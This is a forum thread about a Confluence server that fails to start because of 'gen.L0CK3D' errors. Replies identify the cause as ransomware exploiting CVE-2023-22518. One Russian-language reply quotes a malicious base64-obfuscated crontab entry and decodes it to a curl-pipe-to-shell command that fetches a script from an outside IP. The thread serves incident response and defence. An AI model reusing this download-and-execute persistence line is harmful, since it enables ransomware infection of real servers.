http status 404

[Ilya Tech]

Hello everyone,i've been using conflunece almost one year, and never have issues on it

But the last week it was broken, i've tried to fix it, but unlucky

this is the log's

Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'draftManagerTarget' defined in class path resource [services/contentServiceContext.xml]: Cannot resolve reference to bean 'draftDao' while setting bean property 'draftDao'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'draftDao' defined in class path resource [services/contentServiceContext.xml]: Cannot resolve reference to bean 'indexer' while setting bean property 'indexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'indexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeIndexer' while setting bean property 'changeIndexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeIndexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeSearchIndexAccessor' while setting bean property 'searchIndexAccessor'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1707)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1452)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:619)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 213 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'draftDao' defined in class path resource [services/contentServiceContext.xml]: Cannot resolve reference to bean 'indexer' while setting bean property 'indexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'indexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeIndexer' while setting bean property 'changeIndexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeIndexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeSearchIndexAccessor' while setting bean property 'searchIndexAccessor'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1707)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1452)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:619)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 223 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'indexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeIndexer' while setting bean property 'changeIndexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeIndexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeSearchIndexAccessor' while setting bean property 'searchIndexAccessor'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1707)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1452)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:619)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 233 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeIndexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeSearchIndexAccessor' while setting bean property 'searchIndexAccessor'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1707)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1452)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:619)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 243 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.ConstructorResolver.resolveConstructorArguments(ConstructorResolver.java:693)
at org.springframework.beans.factory.support.ConstructorResolver.autowireConstructor(ConstructorResolver.java:198)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.autowireConstructor(AbstractAutowireCapableBeanFactory.java:1372)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance(AbstractAutowireCapableBeanFactory.java:1222)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:582)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 253 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.ConstructorResolver.instantiate(ConstructorResolver.java:658)
at org.springframework.beans.factory.support.ConstructorResolver.instantiateUsingFactoryMethod(ConstructorResolver.java:486)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateUsingFactoryMethod(AbstractAutowireCapableBeanFactory.java:1352)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance(AbstractAutowireCapableBeanFactory.java:1195)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:582)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 265 more
Caused by: org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:185)
at org.springframework.beans.factory.support.ConstructorResolver.instantiate(ConstructorResolver.java:653)
... 275 more
Caused by: java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at java.base/java.lang.NumberFormatException.forInputString(Unknown Source)
at java.base/java.lang.Long.parseLong(Unknown Source)
at org.apache.lucene.index.SegmentInfos.generationFromSegmentsFileName(SegmentInfos.java:242)
at org.apache.lucene.index.SegmentInfos.getLastCommitGeneration(SegmentInfos.java:177)
at org.apache.lucene.index.SegmentInfos$FindSegmentsFile.run(SegmentInfos.java:715)
at org.apache.lucene.index.SegmentInfos$FindSegmentsFile.run(SegmentInfos.java:663)
at org.apache.lucene.index.SegmentInfos.read(SegmentInfos.java:383)
at org.apache.lucene.index.IndexWriter.<init>(IndexWriter.java:711)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.upgradeIndexIfNecessary(LuceneConnection.java:595)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.ensureCorrectIndexFormat(LuceneConnection.java:580)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.setUpWriterAndSearcher(LuceneConnection.java:544)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.<init>(LuceneConnection.java:119)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.<init>(LuceneConnection.java:127)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.<init>(LuceneConnection.java:143)
at com.atlassian.confluence.internal.index.lucene.LuceneConnectionFactory.createIndexConnection(LuceneConnectionFactory.java:56)
at com.atlassian.confluence.internal.index.lucene.LuceneConnectionFactory.createChangeIndexConnection(LuceneConnectionFactory.java:47)
at jdk.internal.reflect.GeneratedMethodAccessor82.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.base/java.lang.reflect.Method.invoke(Unknown Source)
at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:154)
... 276 more
2023-10-31 19:37:11,408 ERROR [Catalina-utility-1] [ContainerBase.[Standalone].[localhost].[/]] log Exception sending context destroyed event to listener instance of class [com.atlassian.confluence.plugin.PluginFrameworkContextListener]
java.lang.NullPointerException
at com.atlassian.spring.container.ContainerManager.getComponent(ContainerManager.java:33)
at com.atlassian.confluence.plugin.PluginFrameworkContextListener.getPluginSystemLifecycle(PluginFrameworkContextListener.java:190)
at com.atlassian.confluence.plugin.PluginFrameworkContextListener.contextDestroyed(PluginFrameworkContextListener.java:145)
at org.apache.catalina.core.StandardContext.listenerStop(StandardContext.java:4814)
at org.apache.catalina.core.StandardContext.stopInternal(StandardContext.java:5477)
at org.apache.catalina.util.LifecycleBase.stop(LifecycleBase.java:257)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:187)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1396)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1386)
at java.base/java.util.concurrent.FutureTask.run(Unknown Source)
at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(Unknown Source)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Unknown Source)
2023-10-31 19:37:11,410 INFO [Catalina-utility-1] [com.atlassian.confluence.lifecycle] contextDestroyed Stopping Confluence

[wilson madrigal]

gen.L0CK3D 

It seems a malware, my friend.

Check your file system. Do you have others files with extension .L0CK3D ?

[Kamil Beer]

This is the answer.

[Ilya Tech]

Backup of server fixed my problem, but now i have the new trouble after i got new lincesed key

[Paul Dennis]

Is there a solution to this other than restore from backup

[Adrien Houdart]

Try to get in touch with Atlassian support, I think they are your best chance to find a solution.

[Пётр]

Шифровальщик запускается через cron, от имени confluence

Команда crontab -u confluence -e

выводит кучу строк которые запускают процессы
*/15 * * * * echo Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo | base64 -d | sh
*/15 * * * * echo Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo | base64 -d | sh
*/15 * * * * echo Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo | base64 -d | sh
*/15 * * * * echo Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo | base64 -d | sh

расшифровав из base64 строку Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo

получаем команду 

curl -k -fsSL http://13.68.199.90/mysql_check.sh | sh

откуда и скачивается для выполнения скрипт шифровальщика.

Так что переустановка ОС тут не нужна, просто почистить список запуска cron 

Если кто разберется как можно декодировать файлы - дайте знать, пожалуйста.

[Adrien Houdart]

Thanks for the information.

Cerber uses AES-256 (symmetric) and RSA (asymmetric) encryption algorithms which makes it difficult / impossible to decrypt without the encryption key.

[Пётр]

Please look at the text of the script, maybe there is a link to the keys in it?

[Adrien Houdart]

This vulnerability is fixed for the following versions of confluence:

• 7.19.16
• 8.3.4
• 8.4.4
• 8.5.3
• 8.6.1

More information on the vulnerability:

https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html

[来永国]

I found it yesterday. At present, it is all configuration files, and the contents of the attachment have .l0ck3D. Is there any way to solve this problem?

[来永国]

Is there a repair plan for this vulnerability?

[Adrien Houdart]

Restore a backup if you have one... 

[Adrien Houdart]

Got the same issue with confluence (version 8.5) on docker

It seems to be a ransomware (files in my docker volume were encrypted)

[Toby User]

Hi @Ilya Tech did you fix the problem? What did you end up doing?

[Fabio Racobaldo _Herzum_]

Hi @Ilya Tech  and welcome,

try to shutdown confluence, clean plugin cache and restart.

Fabio

[Kamil Beer]

This will not help at all, as many files are corrupted.

[Paul Dennis]

I have restored from backup. But can someone clarify if this means the hackers have access to the data in CF or if it just encrypts the files ?

[Kamil Beer]

@Paul Dennis, I have read a security advisory that mentioned that the hackers have access to the data AND have encrypted the files. However is that true though, nobody knows.

[Paul Dennis]

Thanks for reply. Very poor if Atlassian are not making this clear ?

[Adrien Houdart]

My guess is that copying all the files to a remote server for each instance of Confluence they have hacked would be too heavy (storage, bandwidth). So my guess is that they only encrypt the files by running a script on the server running Confluence and that it.

But as you said, Atlassian is not helping us ..